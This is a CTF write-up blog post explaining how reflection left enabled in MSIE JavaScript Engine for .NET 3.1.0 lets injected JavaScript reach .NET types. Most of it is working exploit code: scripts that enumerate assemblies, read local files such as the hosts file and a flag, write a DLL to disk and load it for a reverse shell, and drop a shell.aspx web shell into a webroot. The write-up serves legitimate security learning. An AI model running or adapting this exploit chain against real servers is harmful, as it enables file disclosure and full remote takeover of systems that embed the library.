- Published on
Exploiting a JavaScript Engine for .NET
- Authors
- Name
- Amr Zaki
Write up for Custom Chatbot challenge in ICMTC Qualifications 2024 round
This blog is about exploiting a misconfiguration in version 3.1.0 of MSIE JavaScript Engine for .NET library and achieving Local file Disclosure, Arbitrary File Write, and Remote Code Execution, which was a hard CTF challenge in ICMTC CTF 2024 qualifications. Let’s begin.
The challenge was called Custom ChatBot
, it had 0 solves in the competition, and the author decided to keep it active for a few more days if anyone wanted to try solving it, and I did. Let’s go through how I managed to do so.
Challenge Description
The challenge had 2 important functionalities, one to customize the ChatBot with JavaScript, and another to interact with the ChatBot.
As you can see, the simple function was executed and a reply has been sent back to us. From the challenge description, we know the library responsible for parsing the JavaScript code and we know the version so first thing I did was search for a known exploit or CVE but I found none. So it was time we start poking around and understand the environment.
Understanding the application
The first thing to do is to know what context we are running in, and what objects are available to us, how could we do that? The first thing that comes to mind is the this
object, so let me explain in brief the importance of it.
In JavaScript, and some other programming languages, the this
keyword refers to the object it belongs to. Its value depends on the context in which it is used. To better explain contexts, I will showcase a simple example of running JavaScript in the browser’s console. If we ran console.log(this)
in a browser’s console, we will get the window
object, and we can access any attribute of the window object because that’s the context we are running inside of.
As you can see, we have a lot of members available to us in the window
object and we accessed one of them which was the document
object. We can also access functions defined in the window context like atob
for example.
So now we need to traverse the this
object in the application context and list all of its members using this javascript code:
function processMessage(message) {
try {
var objs = [];
for (var obj in this) {
objs.push(obj);
}
return "Objects: " + objs.join(", ");
} catch (e) {
return "Error: " + e.message;
}
}
var response = processMessage(message);
response;
The result we got had something we didn’t define in the JavaScript code, which is the ProcessChat_Helper
object. So I tried to access it, and I got the following response:
this.ProcessChat_Helper
The result tells us that this object is a .Net object of class jail.Controllers.ProcessChatHelper
. How did I know if it was a .Net object? If I defined a JavaScript object and tried to access it the same way we get something different completely.
var jsObject = {};
this.jsObject
So how and why can we access a .Net object in the JavaScript context? I found the answer while trying to build a local copy of the challenge and here's the code responsible for exposing a .Net Object:
// Code snippet.
using (var engine = new MsieJsEngine())
{
// Expose the C# object to the JavaScript context
engine.EmbedHostObject("ProcessChat_Helper", ProcessChatHelperObject);
// Evaluate the script
var result = engine.Evaluate<string>(script);
}
Reflection in C#
That ProcessChat_Helper
object is an instance of the ProcessChatHelper
class, and we don’t know how that class was implemented so we need to enumerate the public methods inside of the object, but how could we do that? After some searching, I got to the library repo on GitHub and noticed something strange in the release right after 3.1.0.
The release says that the default value of AllowReflection
is now set to false by default which wasn’t the case in v3.1.0. So what is Reflection? I asked my friend ChatGPT, who by the way was a great help during the whole process, and he said the following:
In short, with this setting set to true, if we can access a .Net object, then we can access its class’s properties, and execute the public methods during runtime. So let us see what methods we have in the ProcessChat_Helper
object, we can do so with this code:
function processMessage(message) {
try {
var methods = [];
var processChatHelper = this["ProcessChat_Helper"];
if (processChatHelper !== undefined) {
methods.push("Methods: " + Object.getOwnPropertyNames(processChatHelper).join(", "));
}
return "" + methods.join(", ");
} catch (e) {
return "Error: " + e.message;
}
}
var response = processMessage(message);
response;
We have 7 methods in the object, and we can invoke them, for example, we can invoke the GetHashCode()
method with this.ProcessChat_helper.GetHashCode()
and we would get the hashcode of the object.
this.ProcessChat_Helper.GetHashCode()
Types and Methods
When I tried to invoke the GetAvailableLanguages()
method, I got the following:
this.ProcessChat_Helper.GetAvailableLanguages()
We got a return type back, which is an array of strings, and not the actual data, and because Reflection is enabled we can invoke that Type’s methods. For example, if we want to get the length of the array returned by the function we would invoke the GetLength(0)
method use GetValue(index)
to get the value of each index :
// Zero here represents the dimention of the array, 1D array in our case
var len = this.ProcessChat_Helper.GetAvailableLanguages().GetLength(0); // 2
var elements = [];
for(let i = 0; i < len; i++) {
elements.push(this.ProcessChat_Helper.GetAvailableLanguages().GetValue(i));
}
elements.join(', ')
So far we have been able to invoke ProcessChatHelper
class methods, but we have 1 more class, System.String[]
and with this code, we can list the functions of this class as well by utilizing the GetMethods()
function which returns an array of all the methods in the class.
var methodsArray = this.ProcessChat_Helper.GetAvailableLanguages().GetType().GetMethods();
var len = methodsArray.GetLength(0);
var methods = [];
for( let i = 0; i < len; i++) {
var typeName = methodsArray.GetValue(i).ToString();
methods.push(typeName);
};
methods.join(', ')
We can also get the BaseClass
which is a property of types that gets the type from which the current type directly inherits, i.e. gets the type of the parent class. When we do this with System.String[]
type, we get System.Object
which is going to be very useful to us in the next section.
this.ProcessChat_Helper.GetType().BaseType
Assembly
So far, we have System.Object, System.String[]
and none of them has a method that enables us to read the flag file. Now comes the Assembly
property. The C# documentation states that the Assembly
property of a type returns an assembly instance, think of it as a big object, that describes the assembly or namespaces containing the type.
In other words, if we have a type System.Object
and we accessed its Assembly
property, then we have a big assembly containing all the classes that use the System.Object
class in the current context. This is helpful for us because we wanted to access other types that can read local files, we can do so by accessing the ReadAllText
method in the System.IO.File
type. The following code prints all the types in the assembly.
var objectClass = this.ProcessChat_Helper.GetType().BaseType;
var typesArray = objectClass.Assembly.GetTypes();
var len = typesArray.GetLength(0); // Array length = 2594 :"D
var types= [];
for( let i = 0; i < len; i++) {
types.push(typesArray.GetValue(i).ToString());
};
types.join(", ")
These are all types in the Assembly and we have 2594 types.
Local File Disclosure
We now know that we need a System.IO.File
type, we need to get the index of the type in the array so we can access it directly.
var objectClass = this.ProcessChat_Helper.GetType().BaseType;
var typesArray = objectClass.Assembly.GetTypes();
var len = typesArray.GetLength(0);
var types= [];
for( let i = 0; i < len; i++) {
var typeName = typesArray.GetValue(i).ToString();
if(typeName == "System.IO.File"){
var index = i;
break;
}
};
typesArray.GetValue(index).ToString() + "Type found at index: " + index
Now we will use the same approach but on the System.IO.File
type to get the ReadAllText
method.
var objectClass = this.ProcessChat_Helper.GetType().BaseType;
var typesArray = objectClass.Assembly.GetTypes();
var fileTypeMethods = typesArray.GetValue(2008).GetMethods();
var len = fileTypeMethods.GetLength(0);
var methods = {};
for( let i = 0; i < len; i++) {
var methodName = fileTypeMethods.GetValue(i).ToString();
if(methodName.includes("ReadAllText")){
var index = i;
methods[i] = methodName;
}
};
JSON.stringify(methods)
The function we need is at index 49, so let’s try to invoke it with a path, we will use Invoke on the method. From the documentation, the invoke method we want takes 2 parameters and both should be objects, the first parameter is the instance of the class we want to invoke its method, and the second parameter should be an array containing the arguments to the method. Since the ReadAllText
is a static method, the first argument should be null.
var objectClass = this.ProcessChat_Helper.GetType().BaseType;
var typesArray = objectClass.Assembly.GetTypes();
var fileTypeMethods = typesArray.GetValue(2008).GetMethods();
arg = ["c:\\windows\\win.ini"];
fileTypeMethods.GetValue(49).Invoke(null, arg)
We got an error! the reason behind this error is that the Invoke
function takes .Net objects as parameters and not JavaScript objects. So we would need a .Net object or a .Net Array of strings that has one element which would be our path for the function.
So back to enumeration, we need to invoke a static function, since we don’t have an instance of the class and we need it to be null
, that doesn’t take parameters and returns an array of strings with one element.
With some enumeration, I found that GetCommandLineArgs
function of the System.Environment
class does just that. So let’s invoke it and get the string array.
var objectClass = this.ProcessChat_Helper.GetType().BaseType;
var typesArray = objectClass.Assembly.GetTypes();
var len = typesArray.GetLength(0);
var types= [];
for( let i = 0; i < len; i++) {
var typeName = typesArray.GetValue(i).ToString();
if(typeName == "System.Environment"){
var typeIndex = i;
break;
}
};
var envType = typesArray.GetValue(typeIndex); // typeIndex = 128
var oneElemArr = envType.GetMethod("GetCommandLineArgs").Invoke(null,null).GetValue(0);
oneElemArr
With this array, we can set the element to whatever file path we want to read with SetValue(Value, index)
and pass it to the invoke function and we will have Local File Disclosure.
var objectClass = this.ProcessChat_Helper.GetType().BaseType;
var typesArray = objectClass.Assembly.GetTypes();
var fileReadMethods = typesArray.GetValue(2008).GetMethods();
var envType = typesArray.GetValue(128);
var oneElemArr = envType.GetMethod("GetCommandLineArgs").Invoke(null,null);
oneElemArr.SetValue("C:\\Windows\\System32\\drivers\\etc\\hosts", 0);
fileReadMethods.GetValue(49).Invoke(null, oneElemArr)
Reading the Flag
Now for the last piece of the challenge, we need to read the flag file in the c:\temp
directory, but since we don’t know the flag name and it’s not flag.txt
, and trust me I tried it, we need to list the files in the temp directory and then use the readfile method to read it.
For Listing the files in a directory, the GetFiles(String path)
of the System.IO.Directory
type does the trick so let’s get it.
var objectClass = this.ProcessChat_Helper.GetType().BaseType;
var typesArray = objectClass.Assembly.GetTypes();
var len = typesArray.GetLength(0);
var types = [];
for( let i = 0; i < len; i++) {
var typeName = typesArray.GetValue(i).ToString();
if(typeName == "System.IO.Directory"){
var typeIndex = i;
break;
}
};
var dirTypeMethods = typesArray.GetValue(typeIndex).GetMethods();
var len = dirTypeMethods.GetLength(0);
var methods = {};
for( let i = 0; i < len; i++) {
var methodName = dirTypeMethods.GetValue(i).ToString();
if(methodName.includes("GetFiles")){
var index = i;
methods[i] = methodName;
}
};
var getFilesMethod = dirTypeMethods.GetValue(17); // GetFile(String) at index 17
var envType = typesArray.GetValue(128);
var oneElemArr = envType.GetMethod("GetCommandLineArgs").Invoke(null,null);
oneElemArr.SetValue("C:\\Temp", 0);
// Getting all the filenames in the c:\\temp
tempFilesArr = getFilesMethod.Invoke(null, oneElemArr);
var len = tempFilesArr.GetLength(0);
var fileReadMethod = typesArray.GetValue(2008).GetMethods().GetValue(49);
for( let i = 0; i < len; i++) {
var fileName = tempFilesArr.GetValue(i);
oneElemArr.SetValue(fileName, 0);
// the Flag filename contais Flag and some other random values
if(fileName.includes("Flag")) {
// read the flag file
var fileContent = fileReadMethod.Invoke(null, oneElemArr);
break;
}
};
fileContent
Remote Code Execution
Regarding the RCE, I wasn’t able to get it to work on remote for some reason unknown to me, but it worked locally so I will share the code for it maybe it works with someone else.
The idea behind the RCE is to write a malicious .dll
file on the server with WriteAllText(String content, String path)
in System.IO.File
class and then load it with LoadFile(String path)
function in System.Reflection.Assembly
class. You can find the code for the reverse shell dll file here. After compiling it, encode it to hex and write the bytes in \x69
format, and replace them in the code.
var objectClass = this.ProcessChat_Helper.GetType().BaseType;
var typesArray = objectClass.Assembly.GetTypes();
var fileTypeMethods = typesArray.GetValue(2008).GetMethods();
var writeFileMethod = fileTypeMethods.GetValue(51);
var writeFileArgs = this.ProcessChat_Helper.GetAvailableLanguages();
writeFileArgs.SetValue("c:\\temp\\z4ki.dll", 0);
writeFileArgs.SetValue("\x7a\x34\x6b\x69", 1); // <-- Edit this
writeFileMethod.Invoke(null, writeFileArgs);
var assemblyType = objectClass.Assembly.GetType().BaseType
var oneElemArr = objectClass.Assembly.GetTypes().GetValue(128).GetMethod("GetCommandLineArgs").Invoke(null,null);
oneElemArr.SetValue("C:\\Temp\\z4ki.dll",0);
assemblyType.GetMethod("LoadFile").Invoke(null,oneElemArr);
Another way to get RCE
There’s another, let’s say easier way to get Remote Code Execution on the library by writing a shell.aspx
file in the webroot of the server. But unfortunately, the webroot wasn’t writeable but here’s the code anyway for future reference.
var objectClass = this.ProcessChat_Helper.GetType().BaseType;
var typesArray = objectClass.Assembly.GetTypes();
var fileTypeMethods = typesArray.GetValue(2008).GetMethods();
var writeFileMethod = fileTypeMethods.GetValue(51);
var writeFileArgs = this.ProcessChat_Helper.GetAvailableLanguages();
writeFileArgs.SetValue("c:\\ChatBot\\wwwroot\\shell.aspx", 0);
writeFileArgs.SetValue("\x7a\x34\x6b\x69", 1); // <-- Edit this
writeFileMethod.Invoke(null, writeFileArgs);
After that just navigate to http://<ip>/shell.aspx
and you will find your shell.
If you reached this far I salute you and hope you enjoyed reading and maybe learned something new, and if you have any questions hit me on LinkedIn